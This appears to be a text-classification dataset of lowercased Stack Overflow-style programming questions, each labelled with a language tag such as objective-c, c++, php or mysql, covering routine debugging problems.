avaudioplayer ios no sound  seems to be similar questions asked but none of the solutions seem to work for me. cant for the life of me understand why my code doesnt work so here it is. i dont get any errors but also get no sound.    <pre><code>@interface mainapp ()  @property (strong  nonatomic) avaudioplayer *audioplayer; -(void)playsoundfx:(nsstring*) soundfile;  @end  @implementation mainapp  - (void)viewdidload {     [super viewdidload];      // play sound     [self playsoundfx:@“sound.mp3 ]; }  // play sound - (void)playsoundfx:(nsstring*)soundfile {      // setting up path to file url     nsbundle* bundle = [nsbundle mainbundle];     nsstring* bundledirectory = (nsstring*)[bundle bundlepath];     nsurl *url = [nsurl fileurlwithpath:[bundledirectory stringbyappendingpathcomponent:soundfile]];      // make an audioplayer object and play file     nserror *error;     avaudioplayer *audioplayer = [[avaudioplayer alloc] initwithcontentsofurl:url error:&amp;error];     [audioplayer setvolume:100.0f];      if (audioplayer == nil)         nslog(@ %@   [error description]);     else         [audioplayer play]; }  @end  *********vvvvvvvvv amended code that works vvvvvvvvv**********  @interface mainapp ()  @property (strong  nonatomic) avaudioplayer *audioplayer; -(void)playsoundfx:(nsstring*) soundfile;  @end  @implementation mainapp  - (void)viewdidload {     [super viewdidload];      // play sound     [self playsoundfx:@“sound.mp3 ]; }  // play sound - (void)playsoundfx:(nsstring*)soundfile {      // setting up path to file url     nsbundle* bundle = [nsbundle mainbundle];     nsstring* bundledirectory = (nsstring*)[bundle bundlepath];     nsurl *url = [nsurl fileurlwithpath:[bundledirectory stringbyappendingpathcomponent:soundfile]];      // make an audioplayer object and play file     nserror *error;     self.audioplayer = [[avaudioplayer alloc] initwithcontentsofurl:url error:&amp;error];     [self.audioplayer setvolume:100.0f];      if (self.audioplayer == nil)         nslog(@ %@   [error description]);     else         [self.audioplayer play]; }  @end </code></pre>,objective-c
can you access an iphone s phone number via code in an app  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/193182/programmatically-get-own-phone-number-in-iphone-os >programmatically get own phone number in iphone os</a>    </blockquote>     can you access an iphone s phone number via code in an app  this seems like a security problem but i was wondering whether anyone could definitively answer it.,iphone
iphone toolbar on top of a scrollview to save uimage   ive been looking at some tutorials on a toolbar they all are implemented through the navigation controller delegate. is there a way i could use the toolbar without using the navigation controller      right now i have a viewcontroller with a scrollview in that scrollview i have images when the user uses a touch gesture then i want a toolbar to be viewable and usable to the user just like on the photo app.    i want to know how i could use the toolbar and make it functional without going through the app delegate and staying on the current viewcontroller.,iphone
relationships in objective-c classes  i m really hesitant to ask this question  since it s sure to have such a terribly easy answer  but i just can t figure it out. here goes:    i have this objective-c code in a file called <code>copier.h</code>:   <pre><code>#import &lt;cocoa/cocoa.h&gt; #import  copyqueue.h ;   @interface copier : nsobject {     iboutlet nstextfield *statusfield;     iboutlet nstextfield *tofield;     copyqueue *queue; } - (ibaction)startcopy:(id)sender; - (void)dropfile:(nsstring *)thefilename; @end </code></pre>   and whenever i try to compile my project in xcode  i get a syntax error in the line where it says <code>copyqueue *queue;</code> what am i doing wrong     the file compiles when i change the line to <code>id *queue;</code>  but that can t be the solution  can it  replacing all typed references with generic ones,objective-c
seg fault when assigning a string in a struct <pre><code>struct person {     int age;     string name; };  int main() {     struct person* firstperson;      firstperson = new person();      firstperson-&gt;age = 23;     firstperson-&gt;name =  john doe ;      cout &lt;&lt; firstperson-&gt;age &lt;&lt;     &lt;&lt; firstperson-&gt;name;     return 0; } </code></pre>   when i do the above it all works well and there is no seg fault. however if i change the above to    <pre><code>int main() {     struct person* firstperson;      firstperson = static_cast&lt;struct person*&gt;(malloc(sizeof(struct person)));     firstperson-&gt;age = 23;     cout &lt;&lt; firstperson-&gt;age;     firstperson-&gt;name =  john doe ;      return 0; } </code></pre>   i get a segmentation fault.,c++
obj-c program from kochan text not behaving as expected  this program is supposed to perform a sigma addition of a series of fractions  and display the result. however  it only outputs 0.000000. as per other s suggestions  it looks like remainders are being truncated by integer arithmetic  but i cannot find where. any ideas :   <pre><code>#import &lt;foundation/foundation.h&gt;  // the fraction class  @interface fraction : nsobject  {     int numerator;     int denominator; }  @property int numerator  denominator;  -(void) print; -(void) setto: (int) n over: (int) d; -(double) converttonum; -(void) reduce; -(fraction *) add: (fraction *) f;   @end  ---------------------------------------   #import  fraction.h    @implementation fraction  @synthesize numerator  denominator;  -(void) print  {     nslog (@ %i/%i   numerator  denominator); }  -(double) converttonum {     if (denominator != 0)          return ((double) numerator / (double) denominator);     else          return 1.0; }  -(void) setto: (int) n over: (int) d {     numerator = n;     denominator = d; }   -(void) reduce  {     int u = numerator;     int v = denominator;     int temp;      while (v != 0) {         temp = v % u;         u = v;         v = temp;     }      numerator /= u;     denominator /= u; }   -(fraction *) add: (fraction *) f  {      fraction *result = [[fraction alloc] init];     int resultnum  resultdenom;      resultnum = numerator * f.denominator +      denominator * f.numerator;     resultdenom = denominator * f.denominator;      [result setto: resultnum over: resultdenom];      [result reduce];     return result; }   @end   -------------------------------------------------------  #import  fraction.h   int main (int argc  char *argv[]) {      nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];       fraction *afraction = [[fraction alloc] init];      fraction *sum = [[fraction alloc] init]  *sum2;      int i  pow2  n;      // set 1stfraction to 0       [sum setto: 0.0 over: 1.0];        nslog (@ enter your value for n: );     scanf ( %i   &amp;n);       pow2 = 2.0;      for (i = 1; i &lt;= n; ++i) {         [afraction setto: 1 over: pow2];          sum2 = [sum add: afraction];          [sum release];  // release previous sum          sum = sum2;          pow2 *= 2.0;       }      nslog (@ after %i iterations  the sum is %f   n  [sum converttonum]);     [afraction release];     [sum release];         [pool drain];     return 0; } </code></pre>,objective-c
regarding local variables in java  i have a quick question regarding local variables in java:    if  upon declaring a local variable  i point it at an instance variable  does the local variable then act as a reference to that instance variable  or does act like a temporary deep copy     in other words  if i invoke a modifier method on the newly initialized local variable  will the local variable act as a reference and invoke the modifier on the instance variable  will it modify a copied version pointed to by the local variable  or can modifier methods not be invoked on local variables     eg.     public static > boolean issorted(stack s) {    ...(bunch of code)    else if(s instanceof dynamicarraystack) { ...(bunch of code)    dynamicarraystack tempstack = (dynamicarraystack) s; e elem = (e) tempstack.pop();    ...(bunch of code) } ...(bunch of code) }    will invoking pop() on  tempstack  cause pop() to be invoked on the instance of stack pointed to by the parameter  s  as well  or will it just affect the contents of my  tempstack,java
c++: invalid conversion from  const char*  to  size_t    i m trying to use snprintf inside a c++ module  using this code:   <pre><code>snprintf(err   %s%s    fatal error!    err); </code></pre>   but i m getting the error of  invalid conversion from  const char*  to  size_t     when compiling my program  so how to solve this problem  thanks.,c++
objective-c methods which their only parameter is an nserror object reference  how should i name them   i was designing a class and i realize that i ve got several methods that the only parameter they have is the output parameter for errors. the problem is how should i name this methods  because they can get very confusing. i ve been reading the apple s code guidelines and it saids nothing about this. here is an example:   <pre><code>-(bool)loginerror(nserror **) anerror;  -(bool)loginwithusername:(nsstring *)ausername password:(nsstring *)apassword error:(nserror **) anerror; </code></pre>   the second one is very clear but the first one seems to be very confusing to me.    what do you think,objective-c
tsql counting how many occurrences on each day  i have a table that registers visitors to a website. i want to count how many have visited my website on each day.    <img src= https://i.stack.imgur.com/dvqyb.png  alt= column of different datetime values >    my problem is that i can t figure out how to typecast the datetime value so that it doesn t use the entire date field when making a distinct count.    can anyone explain this,sql
method overloading in c with printf  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/633367/what-is-the-signature-of-printf >what is the signature of printf </a><br>   <a href= https://stackoverflow.com/questions/2351792/does-c-support-overloading >does c support overloading </a><br>   <a href= https://stackoverflow.com/questions/5802382/does-printf-support-function-overloading-in-c >does printf support function overloading in c </a>    </blockquote>     c s <code>printf</code> function seems to show method overloading as different types of arguments can be given to it. is this right or <code>printf</code> is something else,c
warnings when building a .net application using google api  i ve an application that uses google drive api with .net 4.0. when i build the application i get three warnings:   <blockquote>    warning 3 unable to find dependency  google.apis  (signature= (null)    version= 1.8.1.31687 ) of assembly  google.apis.drive.v2.dll    d:\documents\visual studio 2013\projects\ffp extended   1.0\ffpxinstaller\ffpxinstaller.vdproj        warning 2 unable to find dependency  google.apis.core    (signature= (null)  version= 1.8.1.31685 ) of assembly    google.apis.drive.v2.dll  d:\documents\visual studio   2013\projects\ffp extended 1.0\ffpxinstaller\ffpxinstaller.vdproj        warning 1 unable to find dependency  zlib.portable    (signature= (null)  version= 1.9.1.9000 ) of assembly    google.apis.dll  d:\documents\visual studio 2013\projects\ffp   extended 1.0\ffpxinstaller\ffpxinstaller.vdproj  </blockquote>   the installed application seems to work fine  but  obviously  i d rather not have any warning when it s compiled. has anyone seen anything similar  if so  have you solved the problem,.net
access derived class  functions through pointer (c++)  here s an example of the situation:   <pre><code>canimal *potest = new cdog(); </code></pre>   when i write  potest->  all i can see are functions from the base class (in example: canimal) and not the ones in the derived one. how can i access these,c++
is this valid c++ to initialize a 2d dynamic array   this is in my teachers code  and it works for me using the gnu compiler  and for my teacher who is on a mac  but for other classmates using visual studio  it throws a lot of errors. i m thinking that with dynamic memory  you can t initialize something like this  or rather the c++ standard doesn t say you have to be able to. am i correct in that    <pre><code>store = new char*[rows];         store[0] = new char[6]{ 1    1    1    1    1    1 }; store[1] = new char[6]{ 1    e    1    0    0    1 }; store[2] = new char[6]{ 1    0    0    0    1    1 }; store[3] = new char[6]{ 1    0    0    m    1    1 }; store[4] = new char[6]{ 1    1    1    1    1    1 }; </code></pre>,c++
mysql trigger to insert a new row into another table after an update  i m trying to write a trigger that will warn us when a job is completed in an unusually quick way (less than 70% estimated time) so that somebody can go check if there has been an error.    there s a job table that looks like this:   <pre><code>id machine_id estimated_time hour_of_completion state (this is 0 for unfinished jobs and 1 for finished ones) </code></pre>   a job has many subjobs so there s also a subjob table that looks like this:   <pre><code>id job_id (references job.job_id) subjob_time (this is in seconds) </code></pre>   and the warning table where we want to log the warnings:   <pre><code>id (auto_increment) machine_id hour_of_completion (this is the time of the day when the job finished) </code></pre>   this is what i ve tried so far:   <pre><code>delimiter $$  drop trigger if exists `job_too_quick` $$ create trigger `job_too_quick` $$ after update on `job` begin   if old.state &lt;&gt; new.state and new.state = 1 then     if (select sum(subjob_time)         from subjob         where job_id = old.id)         &lt;         (time_to_sec(new.estimated_time) * 0.7) then           insert into warnings (machine_id  hour_of_completion)           values (old.machine_id  old.hour_of_completion);         end;      end if;    end if; end$$  delimiter ; </code></pre>   but when i try to run it i get this error:   <pre><code>error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  after update on `jobs` begin   if old.state &lt;&gt; new.state and new.s  at line 1 </code></pre>   i feel like i must be making some silly syntax mistake but i m going crazy trying to find out what it is. is there something obvious that i m missing,mysql
how to throw with some printout in c++  if i just simply use <code>throw some_string;</code> then i get <code>terminate called after throwing an instance of  std::string </code>. how can i get some printout with the string value actually shown  for example  <code>terminate called after throwing  this is wrong </code>  or something similar     thank you.,c++
mysql delete where id isn t present in multiple tables - best practice   i want to delete people that aren t present in events or photos or email subscribers.  maybe they were  but the only photo they re tagged in gets deleted  or the event they were at gets purged from the database.    two obvious options:    1)   <pre><code>delete from people  where personpk not in (     select personfk from attendees         union     select personfk from photo_tags         union     select personfk from email_subscriptions ) </code></pre>   2)   <pre><code>delete people from people  left join attendees a on a.personfk = personpk left join photo_tags p on p.personfk = personpk left join email_subscriptions e on e.personfk = personpk  where attendeepk is null   and phototagpk is null   and emailsubpk is null </code></pre>   both a &amp; p are about a million rows apiece  and e a few thousand.    the first option works fine  taking 10 seconds or so.    the second option times out.    is there a cleverer  better  faster third option,mysql
decrease salary using a sql query  i am looking for code to decrease employee salary by 15%  but only if the employee has completed a training course before 15-nov-2012 and started after 5-feb-2013.,sql
how to pass 2 parameters with a self method cocos2d  this is probably a noobish question that has been answered before  but i can t seem to find a solution online (google is not being friendly). my question is  relating to cocos2d  how would i pass 2 parameters using a self method. an example of my code    <pre><code>-(void)random {     [self aicharacter:theevilone];     [self aicharacter:theeviltwo]; }  -(void)aicharacter(ccsprite*)evilcharacter {     //stuff } </code></pre>   but i want to do something like the following   <pre><code>-(void)random {     num = 1     [self aicharacter:theevilone  num];     num = 2     [self aicharacter:theeviltwo  num]; }   -(void)aicharacter:(ccsprite*)evilcharacter (nsinteger*)num { //this line is what seems to be incorrectly formatted/syntactically incorrect.      //stuff } </code></pre>   to give you some more info into what i am doing is that i have an multi-dimensional array of values relating to my separate ai characters and have the num value to differentiate the rows pertaining to each sprite.,objective-c
php  how to get current time only in certain format  i want that system will display current time in (hh:mm:ss) format where  hh  is for hours   mm  is for minutes    ss  is for seconds.    i have used time() function.    here is my code :   <pre><code>&lt; php $t=time(); echo($t);  &gt; </code></pre>   but it is displaying the current time as  1403245168     please help me out how can i change this time in another format. thanks,php
replicating this design in python  i ve been trying to replicate this design using python.    i am using the <code>graphics</code> module  <a href= https://www.dropbox.com/s/8hasinqrs2xflsr/graphic.py  rel= nofollow >obtained here</a>. i can t use any other graphic module at the moment.    this code here allows me to draw 5 circles in a line repeated by a loop.   <pre><code>def fdshape():     win = graphwin(199 199)     centre = point(20 100)     for y in range(5):         for x in range(5):             centre = point(x * 40 + 20  y * 40 + 60)             circle = circle(centre  20)             circle.setoutline( red )             circle.draw(win) </code></pre>   one problem that i ve found with this code is that it leaves a blank line at the top of the window and place the last circle line at the bottom  beyond the borders of the window. thats the first problem.    the second is using the code to display semi circles displayed in red. as you can see in the image at the top of this page. i m unsure of how to replicate this picture using python.    thank you!,python
c# boxing of valuetypes. questions on size and type of boxing wrappers and valuetypes  after reading <a href= https://stackoverflow.com/questions/1682231/how-do-valuetypes-derive-from-object-referencetype-and-still-be-valuetypes >valuetypes - reftypes - ericlippert</a> i have 3 questions:    because say an  int  derives from system.valuetype which derives from system.object     so how much space really does the value type like  int  take (seeing that it finally derives from system.object)    is it only size of int or the extra clr bookkeeping fields used to distinguish it being value type.     size difference between  int  and  object       when  int  is boxed with a wrapper. so is it the case that the wrapper is just an object type (and <em>that</em> object goes to heap)   difference between this wrapper object and plain new object()   how much size/space does that wrapper result to,.net
change the label in an html file input  does anyone if the label of an <code>&lt;input type= file &gt;</code> can be hidden  i can t find anything useful.,html
static const variable definitions being ignored and instead initialized to 0  i have a long list of static consts that i need to use inside of a class. so rather than clutter up the class definition  i put them into a struct and defined my class to inherit the member variables of that struct like so:   <pre><code>/*the following code is all in the same header file in the order shown*/  struct constants{      static const double a1  a2  a3  .... ; };  const double constants::a1 = 142314321.6536; const double constants::a2 = 652453254.1343; const double constants::a3 = 652134324.1234; ...(etc).  class c : constants {     //class definition...     void myfunction(); };  void c::myfunction() {     double a = a1*a2 ...;     ... } </code></pre>   my code compiles with no errors and runs without any errors. however  i was getting nonsense results and found that when i ran my code in the debugger  all of my static const values were zero.    what is happening that is initializing these variables to 0 but also not throwing an error at the way the variables are defined     edit: i should mention  my method of preventing multiple header declarations is to use #pragma once at the top of every header file.,c++
how do i get access to isolate scope in controller   i m using angular 1.6.     how do i get access to isolate scope from within a directive  let s say i wanted to output some value from my isolate scope and add some additional text to the string before i print it out.    <pre><code>(function() {    use strict ;    angular.module( appstore   []);    angular.module( appstore   [])     .directive( producttitle   function nw($scope){       return {         restrict :  e           templateurl :  product-title.html           scope : {           namer :  =    // i m passing a string in here.         }          link : function(scope  elem){           scope.namer = scope.namer +   additional text ;  // when output  i get undefined + additional text.         }          controller : function($scope){           $scope.namer =  test ;  // this cause injection error         }       };     });  }()); </code></pre>,angularjs
creating an age verification home page  i want to make a simplish php script  which is my home page. i want the user to enter their dob or choose it from drop down calendars and then  based on what they entered i can check if they are 21 or not. if they are not  i will send them to one page  if they are  i will send them to another page. here is what i have so far.   <pre><code>    &lt;div id= age &gt; you must be 18 or older to view this site.&lt;br&gt;   you must be 18 or older to view this site.&lt;br&gt;     &lt;form action= #  method= post &gt;     please input your date of birth:     &lt;input type= text  name= month &gt; &lt;input type= text  name= day &gt; &lt;input type= text  name= year &gt;     &lt;input type= submit  name= submit  value= verify age &gt;     &lt;/form&gt; &lt;/div&gt;         &lt;p&gt;&lt;/p&gt;          &lt; php include  footer.php   &gt; &lt; php $month = $_request[ bmonth ]; $day = $_request[ day ]; $year = $_request[ year ]; $this_day = date(d); $this_month = date(m); $this_year = date(y); $day_val = $this_day - $day; $month_val = $this_month - $month; $year_val = $this_year - $year; if (!empty($_post[ submit ])) {     $today = date_create( today );     $birth = date_create( {$_post[ year ]}-{$_post[ month ]}-{$_post[ day ]} );     $age = date_diff($today  $birth)-&gt;y;      if ($age &gt;= 18) {         header( location: home.php );     } else {          header( location: contact.php );     } }  &gt; </code></pre>,php
mysql query over 2 tables  i need to call a headline from one table based upon the selection of another table. i have written the following query but i keep on getting an error of  unknown column in  where clause . the column is there but not sure what i m doing wrong   <pre><code>    select ms95f_createalist_items.headline from ms95f_createalist_items     where ms95f_createalist_items.heading = ms95f_createalist_categories.id </code></pre>,mysql
how to include a print statement from another method inside the class  my question is how do i change my code so that it prints out my first print line along with the lines printed from the <code>testbuildcodonmap</code> method  the print line that currently doesn t print out is <code>system.out.println(s+ \t +codonmap.get(s));</code>. i want this to be included with the other print statements.   <pre><code>import java.util.*; import edu.duke.*;  public class codoncount {     private hashmap&lt;string integer&gt; codonmap;     public codoncount() {         codonmap = new hashmap&lt;string integer&gt;();     }     private void buildcodonmap(int start  string dna) {         //clear out map before building         codonmap.clear();         //this method will build a new map of codons mapped to          //their counts from the string dna with the reading frame         //with the position start (a value of 0  1  or 2).         for (int index=start; dna.length() - index &gt; 3;index+=3) {             string currentcodon = dna.substring(index index+3);             if (!codonmap.containskey(currentcodon)) {                 codonmap.put(currentcodon 1);             }             else {                 codonmap.put(currentcodon codonmap.get(currentcodon)+1);             }         }     }     private string getmostcommoncodon() {         //get the codon in a reading frame that has the largest count         //this method assumes the hashmap of codons to counts has already been built         int currenthigh = 0;         string mostcommoncodon =   ;         for (string s : codonmap.keyset()) {             int currentcount = codonmap.get(s);             if (currentcount &gt; currenthigh) {                 mostcommoncodon = s;                 currenthigh = currentcount;             }         }         return mostcommoncodon;     }     private void printcodoncounts(int start  int end) {         //this method prints all the codons in the hashmap along with their         //counts if their count is between start and end  inclusive.         for (string s : codonmap.keyset()) {             if (codonmap.get(s) &gt;= start &amp;&amp; codonmap.get(s) &lt;= end) {                 system.out.println(s+ \t +codonmap.get(s));             }         }     }     public void testbuildcodonmap() {         fileresource fileresource = new fileresource();         string dna = fileresource.asstring();         dna = dna.touppercase();          for (int index=0;index &lt;= 2;index++) {             system.out.println( \ntesting with start position  +index+ :\n );             buildcodonmap(index dna);             string mostcommoncodon = getmostcommoncodon();             system.out.println( total unique codons found:  +codonmap.size());             system.out.println( \nmost common codon:  +mostcommoncodon                                 + \t +codonmap.get(mostcommoncodon));             printcodoncounts(4 8);         }     } } </code></pre>   <strong>sample file for testing:</strong> <code>cgttcaagttcaa</code>    <strong>edit:</strong> i want the output to look something like this:     reading frame starting with 0 results in 3 unique codons    and most common codon is tca with count 2    counts of codons between 1 and 5 inclusive are:    cgt 1    tca 2    agt 1    reading frame starting with 1 results in 2 unique codons    and most common codon is caa with count 2    counts of codons between 1 and 5 inclusive are:    caa 2    gtt 2    reading frame starting with 2 results in 2 unique codons    and most common codon is ttc with count 2    counts of codons between 1 and 5 inclusive are:    ttc 2    aag 1,java
check how many times other website redirects using php   for ex: google pagespeed insights click    <a href= https://developers.google.com/speed/pagespeed/insights/  rel= nofollow noreferrer >here</a>    how can we count the page redirection of other page using in php  i have tried alot but not got anything. please help me,php
css : rendered width is not exactly while word-wrap  as width: auto   the width of the parent div depends on its children. but it leaves some visible space on the right side while word-wrap. how can i get the exact content width like <a href= https://i.stack.imgur.com/sblua.png  rel= nofollow noreferrer >this</a>    <pre><code>&lt;div class= parent &gt;   &lt;div&gt;     central central centralcentral   &lt;/div&gt; &lt;/div&gt;   .parent{   border:1px solid red;   white-space:normal;   word-wrap:break-word;   width:auto;   max-width:155px; } </code></pre>   <a href= https://jsfiddle.net/remila_antony/ldluqhtz/  rel= nofollow noreferrer >https://jsfiddle.net/remila_antony/ldluqhtz/</a>,css
formatting number var with two decimal places  i have the following javascript code with two variables:   <pre><code>eventtotal = eventtotal + parsefloat(currentelement.title).tofixed(2);  deliverytotal = deliverytotal + parsefloat(currentelement.title).tofixed(2); </code></pre>   whenever i add the variables together using:   <pre><code>totalbox.value =  £  + eventtotal + deliverytotal; </code></pre>   the output is generally something like  £055.0003.99 .    why is this number not formatting  properly and how can i achieve this,javascript
get n largest items from a list in python  i have a list that looks like this -    <pre><code>data = [[u alabama   290060.0  694020.0  1452300.0  1.093  4.007  u us-al ]  [u alaska   46400.0  160760.0  300840.0  0.871  5.484  u us-ak ]  [u arizona   320320.0  1017020.0  2234400.0  1.197  5.976  u us-az ]  [u arkansas   295280.0  535040.0  896900.0  0.6759999999999999  2.0380000000000003  u us-ar ]] </code></pre>   note - the list contains data for all 50 states. from this i want to get the 10 states with top ten nofu2008. i want the data to look something like this-   <pre><code>data2008 - [[u alabama   290060.0]  [u alaska   46400.0]  [u arizona   320320.0]  [u arkansas   295280.0]] </code></pre>   note - data2008 is just an example. i want the states with highest nofu2008.,python
is there a double sided stack class in .net   i know about the system.collections.stack. i m looking for a class that supports pushfront() &amp; pushback().,.net
event while cancelling a appointment in outlook  i am working in outlook addins 2010  i need to do a database hit while cancelling an appointment in the outlook  i already gone through previuos postings  not able to find anything. i excatly want to know which event will be called while cancelling an appointment,.net
command line argument to run a c program <pre><code>#include&lt;stdio.h&gt; #include&lt;math.h&gt;  int main(int argc  char **argv){      // read in the command-line argument     double x c;     double epsilon = 1e-15;    // relative error tolerance     double t ; // estimate of the square root of c     //scanf( %lf  &amp;t);     t=**argv- 0 ;     printf( %lf   t);     c=t;     // repeatedly apply newton update step until desired precision is achieved     while (fabs(t - c/t) &gt; epsilon*t) {         t = (c/t + t) / 2.0;     }     // print out the estimate of the square root of c     printf( %lf  t);      return 0; } </code></pre>   in this program i want to run with command line argument . how can i do that,c
binary representation of a 32 bits integer  i have writen a very simple algorithm for generating the binary representation of a 32 bits integer.    here is my code:   <pre><code>public class numbermanipulator {  public static final int heaviest_bit = 32;   public static long intpower(int value  int power) {     if (0== power) {         return 1;     }      long result = 1;     for (int i = 1; i &lt;= power; i++) {         result = result * value;     }     return result; }   public static void main(string[] args) {      int n1 = 7;     int n2 = 18;     int n3 = 65;     int n4 = 11;      system.out.println(getbinaryrepresentationof(n1));     system.out.println(getbinaryrepresentationof(n2));     system.out.println(getbinaryrepresentationof(n3));     system.out.println(getbinaryrepresentationof(n4));  }  public static string getbinaryrepresentationof(int number) {     stringbuilder resultbuilder = new stringbuilder();      for (int i =  heaviest_bit-1;  i &gt;= 0; i--) {          long checker = (number &gt;&gt; i) &amp; 1; // (number &amp; intpower(2 i));    (number &gt;&gt; i) &amp; 1;          if (checker == 1 ) {             resultbuilder.append( 1 );         } else {             resultbuilder.append( 0 );         }     }     return resultbuilder.tostring(); } </code></pre>   this code is working fine. the following image illustrate the call to the main s method results.    <img src= https://i.stack.imgur.com/sqj5v.jpg  alt= binary representation of 32 bits numbers >      i am however facing an issue when i change <code>long checker = (number &gt;&gt; i) &amp; 1</code>by <code>(number &amp; intpower(2 i))</code>  it simply gives me aberrant results and i really can t figure out why. any help regarding this is very welcome.,java
remove a span tag from inside a div -after it was dynamaclly placed  the following code works: -click text below empty div  -create new span tag inside the empty div  -place selected text into that span    what does not work: the span tags inside the  .shtuff div cannot be removed when they are clicked. and and place it into the empty  .shtuff  class div   <pre><code>    $(document).ready(function(){      $( .shtuff li ).click(function(){      //both below work      $( .display ).append($( &lt;span&gt;&lt;/span&gt; ).text($(this).text()));      //$( .display ).append( &lt;span&gt;  + $(this).text() +  &lt;/span&gt; );            });          //for single use     //$( .shtuff li ).click(function(){$(this).empty();}    $( .display ).on( click    span   function(){$(this).empty(); });        });//ready      &lt;/script&gt; </code></pre>   css:   <pre><code>&lt;style&gt; .display span{background-color:#ccc;margin-left:3px;} .display{border:1px solid; width:300px;hieght:100px} ul li {list-style-type:none;}  &lt;/style&gt; </code></pre>   html:   <pre><code>&lt;div class= display &gt;some text&lt;/div&gt; &lt;ul class= shtuff &gt; &lt;li&gt;blueberry &lt;/li&gt; &lt;li&gt;cherry &lt;/li&gt; &lt;li&gt;strawberry  &lt;/li&gt; &lt;li&gt;ferret droppings &lt;/li&gt; &lt;/ul&gt; </code></pre>  <blockquote>    <strong>$( .display ).on( click    span   function(){$(this).empty(); });</strong>  </blockquote>   is where i can t get it right,jquery
is it possible to write in a dropdownlist or listbox   <strong>work on asp.net c# vs08.</strong> i was wondering if it is possible to write in a dropdownlist or listbox  such that if somebody does not want to select from the dropdownlist or listbox  he/she can type the value and if the value exist in the dropdownlist/listbox  it autofills.  the person may then select it.  if this is not possible in asp.net  would anybody know of another control that can be used for the same purpose and how     <strong>what i really need is how to allow the writting on the dropdownlist  please someone help me!. thank you very much.</strong>,asp.net
php missing url-encoding  i have the following code:    <pre><code>$markupimage = substr($product_info[ image ] 0 strrpos($product_info[ image ]  . )) .  -  . $popw .  x  . $poph . substr($product_info[ image ] strrpos($product_info[ image ]  . )); </code></pre>   this currently outputs with <code>$markupimage =</code>:    <a href= http://shop.example.com/image/cache/data/  rel= nofollow >http://shop.example.com/image/cache/data/</a><strong>new website</strong>/products/hangers/tees/full body/front_black-1000x1000.jpg    where the  new website  text is  the php has missed out the url encoding. it should be <code>new20%website</code>. how can i alter the php script to include this url encoding     edit: this is where i use this php script:   <pre><code>$this-&gt;document-&gt;setfbog( og:image   http_server .  image/cache/  . $markupimage); </code></pre>   i have tried wrapping this in both the <code>rawurlencode()</code> and <code>urlencode()</code>    so far i have tried:   <pre><code>$this-&gt;document-&gt;setfbog( og:image   urlencode(http_server .  image/cache/  . $markupimage)); $this-&gt;document-&gt;setfbog( og:image   rawurlencode(http_server .  image/cache/  . $markupimage)); </code></pre>   this results in a link that looks something like:    <pre><code>http://shop.example.com/image/cache/data%2fnew+website%2fproducts%2fhangers%2ftees%2ffull+body%2ffront_black-1000x1000.jpg </code></pre>,php
installings maps and youtube on iphone simulator  i installed the iphone simulator 3.0. i am not using it for iphone app development  but rather for web development.    i want to pull up some of my web apps in mobile safari and take video screencasts in order to demo them to those without iphones.    some of these web apps use the maps and youtube apps  which are standard on the iphone  but not on the iphone simulator.    is there any way to download/install these and other standard apps,iphone
how can i go back to the first view controller   i want to go back to the first view controller. so  i used <code>[self.navigationcontroller poptorootviewcontrolleranimated:no]</code> from the third view. but  it goes back to just the second view. do i have to use <code>poptoviewcontroller: animated:</code> instead  i pushed the third view like this:   <pre><code>[self.view addsubview:secondcontroller.view]; // from the first view [self.navigationcontroller pushviewcontroller:thirdcontroller animated:yes]; // from the second view </code></pre>,iphone
i don t want to render the form tag  i would really like to disable the rendering for the form tag.  basically asp.net will be providing read only pages which should be very clean. i.e  no form tags required,asp.net
my code is giving me a segmentation error  what am i doing wrong  <pre><code>#include&lt;stdio.h&gt;  int fact(int n);   int main() {        int n f;     scanf( %d  &amp;n);     f=fact(n);     printf( factorial of %d is %d  n f);     return 0; } int fact(int n)     {     if(n==1)     {         return 1;      }     else     {         return n*fact(n-1);      } } </code></pre>   i was trying to make a basic program on factorial using c and recursive functions  but for some reason  it won t run. on compilation i am getting a segmentation fault (sigsegv).,c
c# saving items added to combobox  i have a combo box that holds employee names that are selected by that employee. when i add a name to the combo box with a button click is there a way to keep the name in the combo box for the next time the program is started  below is my code to add the employee names that i know need to be in the list and then the code to add a name to the combo box.   <pre><code> private void employeeselect_load(object sender  eventargs e)     {         cboempname.items.addrange(new string[] {  john    roger    bill    jason    james  });     }    private void addtechbtn_click(object sender  eventargs e)     {         if (!string.isnullorempty(txtaddtech.text))         {             cboempname.items.add(txtaddtech.text);             txtaddtech.clear();             messagebox.show( technician has been added );         }         else         {             messagebox.show( enter a name to add to the list );         }     } </code></pre>,c#
change controller to not error on nil  i have a simple show in my users controller. this just shows a list of that user s posts and comments. however if the user doesn t have any posts  i get an error:   <pre><code>couldn t find post with  id =101.  </code></pre>   i understand the error  because there are no posts associated with that user  but how can i change my users controller to still function as it should (show posts and comments associated with a user) and not throw an error if posts = nil. for instance for a new user.    the issue isn t with my view  as i ve completely deleted that and the error still throws. i originally tried to add an if user.posts  line  but the problem occurs before the view.    <pre><code>def show     @user = user.find(params[:id])     @posts = @user.posts.mostrecent.paginate(page: params[:page])     @post = post.find(params[:id])     @comment = comment.new     @comments = @post.comments.paginate(page: params[:page]) end </code></pre>   i think i m mudding up my controller  but this is the only way i got posts and comments to show correctly. any help would be much appreciated.     <strong>solution (kind of)</strong>    added a rescue to stop error from throwing if there are no posts:   <pre><code>    rescue activerecord::recordnotfound =&gt; e     posts = nil </code></pre>,ruby-on-rails
converting back from tostring to object  is there any way to convert from tostring back to the object in java     for example:   <pre><code>map&lt;string  string&gt; mymap = new hashmap&lt;string  string&gt;(); mymap.put( value1    test1 ); mymap.put( value2    test2 ); string str = mymap.tostring(); </code></pre>   is there any way to convert this string back to the map,java
syntax of group by rollup in mysql  i am reading a book about mysql and in one of the examples the following code is shown  which just does not work when i try it in mysql   <pre><code>select item_description  material  weight  sum(quantity) from products group by rollup(item_description  material  weight) </code></pre>   is this a right syntax      also i find out that doing   <pre><code>select item_description  material  weight  sum(quantity) from products group by item_description  material  weight with rollup; </code></pre>   works and i was wondering if the first code is correct and if it is doing the same thing as the second code.,mysql
ios: difference between uikeyboardwillshownotification and uikeyboarddidchangeframenotification on ios 8   on ios 8  i found that every time i change the input language of keyboard or tap a text field to make keyboard appear  both <code>uikeyboardwillshownotification</code> and <code>uikeyboarddidchangeframenotification</code> are received.     so what s the difference between this two notifications and  what is the right thing to do in callbacks of this two notifications,ios
